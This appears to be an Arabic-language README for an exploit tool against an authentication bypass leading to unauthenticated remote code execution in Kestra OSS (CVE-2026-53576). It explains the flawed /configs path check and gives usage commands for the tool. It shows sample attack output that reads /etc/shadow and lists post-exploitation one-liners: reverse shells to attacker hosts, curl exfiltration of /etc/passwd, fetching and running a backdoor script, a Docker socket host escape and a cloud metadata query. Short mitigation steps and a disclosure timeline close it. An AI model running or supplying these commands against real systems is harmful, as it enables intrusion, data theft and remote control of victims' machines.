
Kestra Unauthenticated RCE Exploit (CVE-2026-53576)
تجاوز حرج للمصادقة يؤدي إلى تنفيذ أوامر عن بُعد بدون مصادقة
الاستغلال • تفاصيل الثغرة • الأثر • الإصلاح
هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمن المصرح بها فقط.
- لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا لاختبارها.
- لا تستخدمها في أنشطة غير قانونية.
- المؤلف ليس مسؤولًا عن أي إساءة استخدام لهذه الأداة.
- استخدمها على مسؤوليتك الخاصة.
CVE-2026-53576 هي ثغرة حرجة في Kestra OSS حتى الإصدار v1.3.20 تسمح بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر تجاوز فلتر المصادقة.
يحتوي فلتر المصادقة في Kestra على خلل منطقي حرج:
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")
يتم التحقق مما إذا كانت أي طلبات API تنتهي بـ /configs بدلاً من مطابقة المسار المحدد، مما يسمح للمهاجمين بتجاوز المصادقة بإلحاق /configs بأي نقطة نهاية.
POST /api/v1/main/flows/configs (يتجاوز المصادقة)POST /api/v1/main/executions/configs/configs (يتجاوز المصادقة)# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs # Create flows
/api/v1/main/executions/configs/configs # Execute flows
/api/v1/{tenant}/flows/configs # Any tenant
/api/v1/{tenant}/executions/configs/configs # Any tenant
python3 kestra_exploit.py <target_ip>
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080
# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https
# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"
# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check
# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup
# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"
pip install requests
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576
python3 kestra_exploit.py --help
python3 kestra_exploit.py 192.168.1.100
المخرجات:
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================
[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26
[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED
[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS
[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
- /tmp/proof.txt containing command output
- Kestra UI execution logs
- Web UI: http://192.168.1.100:8080/ui/
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup
يمكن للمهاجم غير المصادق أن:
ينفّذ أوامر عشوائية بصلاحيات root:
# Read secrets
cat /app/conf/application.yml
# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
curl http://attacker.com/backdoor.sh | bash
ينتقل إلى النظام المضيف (إذا كان Docker socket مثبتًا):
docker run -v /:/host --privileged alpine chroot /host
يصل إلى بيانات cloud الوصفية (إذا كان يعمل على مزوّد سحابي):
curl http://169.254.169.254/latest/meta-data/
إيقاف تشغيل النسخ المتأثرة:
sudo systemctl stop kestra
منع الوصول العام:
iptables -A INPUT -p tcp --dport 8080 -j DROP
تطبيق قواعد جدار الحماية:
تحديث Kestra إلى أحدث إصدار مصحح:
تطبيق مصادقة مناسبة:
تحسين أمان الحاوية:
/var/run/docker.sockتحسين أمان الشبكة:
| التاريخ | الحدث |
|---|---|
| 2026-05-26 | اكتشاف الثغرة |
| 2026-06-03 | نشر النشرة الأمنية من Kestra |
| 2026-06-10 | تخصيص CVE-2026-53576 |
MIT License
Copyright (c) 2026 Security Researcher
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
إذا وجدت هذه الأداة مفيدة:
⚠️ استخدم بمسؤولية ⚠️
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2026-53576 |
| الخطورة | حرجة (9.8 CVSS) |
| نوع الثغرة | تجاوز مصادقة + RCE |
| المنتج المتأثر | Kestra OSS |
| النسخ المتأثرة | ≤ v1.3.20 |
| متجه الهجوم | شبكة |
| المصادقة المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| الخيار | الوصف |
|---|
target | عنوان IP أو اسم المضيف الهدف (مطلوب) |
-p, --port | المنفذ (الافتراضي: 8080) |
--https | استخدام HTTPS بدلاً من HTTP |
-c, --command | الأمر المخصص للتنفيذ |
--docker-check | التحقق من الوصول إلى Docker socket |
--cleanup | حذف الـ flow بعد الاستغلال |
--delay | التأخير بين الطلبات (الافتراضي: 2s) |
| الفئة | الخطورة | الوصف |
|---|
| السرية | ⚠️ حرجة | قراءة أي ملف (كلمات المرور، الأسرار، الإعدادات) |
| السلامة | ⚠️ حرجة | إنشاء/تعديل/حذف الـ flows والبيانات |
| التوافر | ⚠️ عالية | إيقاف النظام، استنزاف الموارد |
| المصادقة | ⚠️ حرجة | تجاوز كامل للمصادقة الأساسية (Basic-Auth) |
| تصعيد الامتيازات | ⚠️ حرجة | تنفيذ الأوامر بصلاحيات root (uid=0) |
| الهروب من الحاوية | ⚠️ حرجة | اختراق المضيف عبر Docker socket |
| 2026-06-15 |
| الكشف العلني |
| 2026-08-01 | نشر PoC |